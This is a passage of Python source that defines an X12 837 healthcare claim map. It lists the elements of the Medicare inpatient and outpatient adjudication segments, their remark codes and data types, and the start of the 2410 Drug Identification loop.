u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MIA24', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=24, codes=[] ) ), ), Segment( u'MOA', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'320',desc=u'Medicare Outpatient Adjudication Information'), Element( u'MOA01', Properties(desc=u'Percentage as Decimal', req_sit=u'S', data_type=(u'R',u'1',u'10'), position=1, codes=[] ) ), Element( u'MOA02', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'MOA03', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=3, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA05', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=5, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA07', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=7, codes=[u'M1', u'M2', u'M3', u'M4', u'M5', u'M6', u'M7', u'M8', u'M9', u'M10', u'M11', u'M12', u'M13', u'M14', u'M15', u'M16', u'M17', u'M18', u'M19', u'M20', u'M21', u'M22', u'M23', u'M24', u'M25', u'M26', u'M27', u'M28', u'M29', u'M30', u'M31', u'M32', u'M33', u'M34', u'M35', u'M36', u'M37', u'M38', u'M39', u'M40', u'M41', u'M42', u'M43', u'M44', u'M45', u'M46', u'M47', u'M48', u'M49', u'M50', u'M51', u'M52', u'M53', u'M54', u'M55', u'M56', u'M57', u'M58', u'M59', u'M60', u'M61', u'M62', u'M63', u'M64', u'M65', u'M66', u'M67', u'M68', u'M69', u'M70', u'M71', u'M72', u'M73', u'M74', u'M75', u'M76', u'M77', u'M78', u'M79', u'M80', u'M81', u'M82', u'M83', u'M84', u'M85', u'M86', u'M87', u'M88', u'M89', u'M90', u'M91', u'M92', u'M93', u'M94', u'M95', u'M96', u'M97', u'M98', u'M99', u'M100', u'M101', u'M102', u'M103', u'M104', u'M105', u'M106', u'M107', u'M108', u'M109', u'M110', u'M111', u'M112', u'M113', u'M114', u'M115', u'M116', u'M117', u'M118', u'M119', u'M120', u'M121', u'M122', u'M123', u'M124', u'M125', u'M126', u'M127', u'M128', u'M129', u'M130', u'M131', u'M132', u'M133', u'M134', u'M135', u'M136', u'M137', u'M138', u'M139', u'M140', u'M141', u'M142', u'M143', u'M144', u'MA01', u'MA02', u'MA03', u'MA04', u'MA05', u'MA06', u'MA07', u'MA08', u'MA09', u'MA10', u'MA11', u'MA12', u'MA13', u'MA14', u'MA15', u'MA16', u'MA17', u'MA18', u'MA19', u'MA20', u'MA21', u'MA22', u'MA23', u'MA24', u'MA25', u'MA26', u'MA27', u'MA28', u'MA29', u'MA30', u'MA31', u'MA32', u'MA33', u'MA34', u'MA35', u'MA36', u'MA37', u'MA38', u'MA39', u'MA40', u'MA41', u'MA42', u'MA43', u'MA44', u'MA45', u'MA46', u'MA47', u'MA48', u'MA49', u'MA50', u'MA51', u'MA52', u'MA53', u'MA54', u'MA55', u'MA56', u'MA57', u'MA58', u'MA59', u'MA60', u'MA61', u'MA62', u'MA63', u'MA64', u'MA65', u'MA66', u'MA67', u'MA68', u'MA69', u'MA70', u'MA71', u'MA72', u'MA73', u'MA74', u'MA75', u'MA76', u'MA77', u'MA78', u'MA79', u'MA80', u'MA81', u'MA82', u'MA83', u'MA84', u'MA85', u'MA86', u'MA87', u'MA88', u'MA89', u'MA90', u'MA91', u'MA92', u'MA93', u'MA94', u'MA95', u'MA96', u'MA97', u'MA98', u'MA99', u'MA100', u'MA101', u'MA102', u'MA103', u'MA104', u'MA105', u'MA106', u'MA107', u'MA108', u'MA109', u'MA110', u'MA111', u'MA112', u'MA113', u'MA114', u'MA115', u'MA116', u'MA117', u'MA118', u'MA119', u'MA120', u'MA121', u'MA122', u'MA123', u'MA124', u'MA125', u'MA126', u'MA127', u'MA128', u'MA129', u'MA130', u'MA131', u'MA132', u'MA133', u'MA134', u'N1', u'N2', u'N3', u'N4', u'N5', u'N6', u'N7', u'N8', u'N9', u'N10', u'N11', u'N12', u'N13', u'N14', u'N15', u'N16', u'N17', u'N18', u'N19', u'N20', u'N21', u'N22', u'N23', u'N24', u'N25', u'N26', u'N27', u'N28', u'N29', u'N30', u'N31', u'N32', u'N33', u'N34', u'N35', u'N36', u'N37', u'N38', u'N39', u'N40', u'N41', u'N42', u'N43', u'N44', u'N45', u'N46', u'N47', u'N48', u'N49', u'N50', u'N51', u'N52', u'N53', u'N54', u'N55', u'N56', u'N57', u'N58', u'N59', u'N60', u'N61', u'N62', u'N63', u'N64', u'N65', u'N66', u'N67', u'N68', u'N69', u'N70', u'N71', u'N72', u'N73', u'N74', u'N75', u'N76', u'N77', u'N78', u'N79', u'N80', u'N81', u'N82', u'N83', u'N84', u'N85', u'N86', u'N87', u'N88', u'N89', u'N90', u'N91', u'N92', u'N93', u'N94', u'N95', u'N96', u'N97', u'N98', u'N99', u'N100', u'N101', u'N102', u'N103', u'N104', u'N105', u'N106', u'N107', u'N108', u'N109', u'N110', u'N111', u'N112', u'N113', u'N114', u'N115', u'N116', u'N117', u'N118', u'N119', u'N120', u'N121', u'N122', u'N123', u'N124', u'N125', u'N126', u'N127', u'N128', u'N129', u'N130', u'N131', u'N132', u'N133', u'N134', u'N135', u'N136', u'N137', u'N138', u'N139', u'N140', u'N141', u'N142', u'N143', u'N144', u'N145', u'N146', u'N147', u'N148', u'N149', u'N150', u'N151', u'N152', u'N153', u'N154', u'N155', u'N156 '] ) ), Element( u'MOA08', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=8, codes=[] ) ), Element( u'MOA09', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=9, codes=[] ) ), ), parsed_837_2330A, parsed_837_2330B, parsed_837_2330C, parsed_837_2330D, parsed_837_2330E, parsed_837_2330F, parsed_837_2330H, ) parsed_837_2410 = Loop( u'2410', Properties(looptype='',repeat=u'25',pos=u'494',req_sit=u'S',desc=u'Drug Identification'), Segment( u'LIN', Properties(syntax=u'P0405 P0607 P0809 P1011 P1213 P1415 P1617 P1819 P2021 P2223 P2425 P2627 P2829 P3031',req_sit=u'S',repeat=u'1',pos=u'494',desc=u'Drug Identification'), Element( u'LIN01', Properties(desc=u'Assigned Identification', req_sit=u'N', data_type=(u'AN',u'1',u'20'), position=1, codes=[] ) ), Element( u'LIN02', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'N4'] ) ), Element( u'LIN03', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=3, codes=[] ) ), Element( u'LIN04', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=4, codes=[u'N4'] ) ), Element( u'LIN05', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=5, codes=[] ) ), Element( u'LIN06', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=6, codes=[u'N4'] ) ), Element( u'LIN07', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=7, codes=[] ) ), Element( u'LIN08', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=8, codes=[u'N4'] ) ), Element( u'LIN09', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=9, codes=[] ) ), Element( u'LIN10', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[u'N4'] ) ), Element( u'LIN11', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=11, codes=[] ) ), Element( u'LIN12', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=12, codes=[u'N4'] ) ), Element( u'LIN13', Properties(desc=u'Product/Service ID', req_sit=u'N', data_type=(u'AN',u'1',u'48'), position=13, codes=[] ) ), Element( u'LIN14', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=14, codes=[u'N4'] ) ), Element( u'LIN15', Properties(desc=u'Product/Service ID', req_sit=u'N', 